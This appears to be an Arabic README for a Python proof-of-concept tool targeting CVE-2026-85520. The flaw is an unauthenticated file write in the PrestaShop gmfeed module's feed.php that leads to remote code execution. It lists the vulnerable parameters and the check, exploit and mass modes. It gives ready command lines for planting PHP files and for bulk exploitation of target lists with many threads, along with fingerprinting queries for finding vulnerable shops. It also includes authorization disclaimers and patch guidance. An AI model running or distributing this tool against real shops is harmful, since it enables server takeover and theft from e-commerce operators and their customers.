
أداة إثبات مفهوم بلغة Python للثغرة CVE-2026-85520: تكشف وتستغل الكتابة التعسفية للملفات دون مصادقة في PrestaShop gmfeed feed.php لتحقيق تنفيذ التعليمات البرمجية عن بُعد (RCE)، مع الفحص الجماعي.
إثبات مفهوم (PoC) بلغة Python 3 لـ CVE-2026-85520 — وحدة Google Merchant Center Feed (gmfeed) من MyPresta.eu / VEKIA لـ PrestaShop — كتابة ملفات عشوائية غير مصادق عليها على feed.php عند استخدام «Save to file» / تصدير عبر URL. CVSS 3.1 9.3 حرج (برمجيات).
| PoCbit | https://pocbit.org/pocs/cve-2026-85520 |
| الكتالوج | https://pocbit.org/pocs/ |
| الوحدة | gmfeed (Google Merchant Center Feed) |
| إصلاح المورّد | ≥ 2.3.10 (يُوصى بتثبيت 2.4.1+) |
| CWE | مشكلات من فئة CWE-20 / CWE-73 / CWE-434 (غياب المصادقة + التحكم في المسار/المحتوى عند الكتابة) |
gmfeed هو وحدة تجارية تُنشئ كتالوج منتجات XML/CSV لمتجر Google Merchant Center في متاجر PrestaShop. في الإصدارات القديمة، عندما كان الكتالوج يُنشأ عبر URL ويُحفظ على القرص (Save to file / cron)، كان بإمكان نقطة النهاية modules/gmfeed/feed.php دون مصادقة قبول اسم ملف الإخراج ومساره وامتداده ومحتواه عبر معاملات اختيارية.
يمكن للمهاجم عبر GET/POST مُصمَّمة كتابة ملفات عشوائية على الخادم (مثل pocbit_xxxxx.php)، ثم تنفيذها عبر الويب للحصول على تنفيذ كود عن بُعد (RCE). وهذا يعني السيطرة الكاملة على خادم التجارة الإلكترونية — اختبر فقط في بيئة اختبار اختراق مصرح به / متجر مختبري خاص بك.
وفقًا لإعلان المورّد (MyPresta.eu): الإصدارات السابقة لـ 2.3.10 متأثرة؛ يُضيف الإصلاح مفتاحًا خاصًا بالمتجر إلى عناوين URL الخاصة بالحفظ إلى ملف ويُغلق الكتابة غير المصرح بها. لا يكفي الكتابة فوق ملف zip القديم — يجب إزالة الوحدة عبر "delete module files" ثم تثبيت 2.4.1 تثبيتًا نظيفًا.
تؤثر CVE-2026-85520 على وحدة gmfeed لـ PrestaShop (Google Merchant Center Feed من MyPresta.eu). فشل سكربت التصدير feed.php، عندما يكون وضع الحفظ على القرص قابلاً للوصول عبر URL (exportsavefile=1 ومعاملات التصدير ذات الصلة الموثقة في سجلات تغييرات المورّد)، في فرض ما يلي:
modules/gmfeed/ أو عبر تسلسلات اجتياز المسار.التأثير: كتابة ملفات عشوائية غير مصادق عليها ← تنفيذ تعليمات برمجية عن بُعد (RCE) (تنفيذ ملف .php المرفوع عبر HTTP).
تشمل معاملات المورّد العامة المشار إليها في ملاحظات الإصدار export_file_format و**exportsavefile** وخيارات اسم ملف التصدير المخصصة المضافة في سلسلة 2.3.x. يقوم إثبات المفهوم هذا بتدوير أسماء بديلة شائعة للمعاملات (exportfilename، exportfilecontent، export_path، إلخ) ضد:
/modules/gmfeed/feed.php/index.php?fc=module&module=gmfeed&controller=feed| الوضع | السلوك |
|---|---|
| check | اكتشاف gmfeed (feed.php، config.xml، علامات)، تحليل إصدار الوحدة، الإشارة إلى < 2.3.10 |
| check --aggressive | فحص خفيف للحفظ على الملف (بدون shell دائم؛ exportsavefile=0 في مسار الفحص) |
| exploit | كتابة مسبار pocbit_*.php بعلامة POCBIT-85520-OK، والتحقق عبر ?pocbit=1 |
| exploit --dry-run | طلبات تصدير للمسبار فقط (بدون زرع shell) |
| mass | --list + -j ← hits.txt / exploited.txt + JSONL |
--lab | feed.php وهمي محلي — يجب أن يُظهر exploited: true (فحص سلامة) |
--force | تجاوز حراسات «الوحدة مفقودة / الإصدار المُصلَّح» |
حقول JSONL: pocbit، pocbit_catalog، pocbit_page، cve، vendor، module، product.
السلامة: الحمولة الافتراضية هي عبارة عن PHP stub بعلامة فقط، وليست shell تفاعلياً كاملاً. احذف الملفات المكتوبة بعد الاختبارات المصرح بها.
pip install requests urllib3cd CVE-2026-85520
python poc.py --lab
المتوقع: [LAB] أخضر، JSON "exploited": true، "shell_url": "http://127.0.0.1:8766/modules/gmfeed/pocbit_....php".
python poc.py -u https://shop.example.com --mode check
python poc.py -u https://shop.example.com --mode check --aggressive
python poc.py -u https://shop.example.com --mode exploit --dry-run
python poc.py -u https://shop.example.com --mode exploit
python poc.py -u https://shop.example.com --mode exploit --force
تحقق يدويًا بعد الاستغلال:
https://shop.example.com/modules/gmfeed/pocbit_XXXXXXXX.php?pocbit=1
→ POCBIT-85520-OK
python poc.py --list prestashop_targets.txt --mode check -j 40
python poc.py --list hits.txt --mode exploit -j 20
python poc.py --list hits.txt --mode exploit -j 20 --dry-run
المخرجات:
| الملف | المحتوى |
|---|---|
cve_2026_85520_results.jsonl | جميع صفوف الفحص |
cve_2026_85520_exploit.jsonl | جميع صفوف الاستغلال |
hits.txt | Tab: URL، الحالة، الإصدار |
exploited.txt | Tab: URL، shell_url، الإصدار |
وجود الوحدة:
body="/modules/gmfeed/" || body="gmfeed" || header="/modules/gmfeed/feed.php"
الإصدار (إن وُجد):
/modules/gmfeed/config.xml
آثار التغذية الساكنة (وليست دليل ثغرة بمفردها):
/modules/gmfeed/products.xml
/modules/gmfeed/combinations.xml
ملاحظة: العديد من المتاجر تشغّل ≥ 2.3.10 بعد تنبيه MyPresta لعام 2026 — توقّع ظهور patched_version أو write_or_verify_failed في القوائم الشاملة للإنترنت.
feed.php القابلة للاستغلال).modules/gmfeed/ بحثًا عن ملفات .php غير متوقعة.المرجع: إعلان إصلاح MyPresta الأمني.
{
"pocbit": "https://pocbit.org",
"pocbit_catalog": "https://pocbit.org/pocs/",
"pocbit_page": "https://pocbit.org/pocs/cve-2026-85520",
"cve": "CVE-2026-85520"
}
استخدم فقط على الأنظمة التي تملكها أو لديك تفويض كتابي صريح لاختبارها. الوصول غير المصرح به غير قانوني. يوفر PoCbit أدوات إثبات المفهوم للتحقق الدفاعي والتحقق من التصحيحات.
CVE-2026-85520 PoC (PoCbit) — PrestaShop MyPresta gmfeed ≤2.3.9 unauthenticated arbitrary file write via feed.php (Save to file URL) → RCE. check + exploit + mass bulk (--list -j). https://pocbit.org/pocs/cve-2026-85520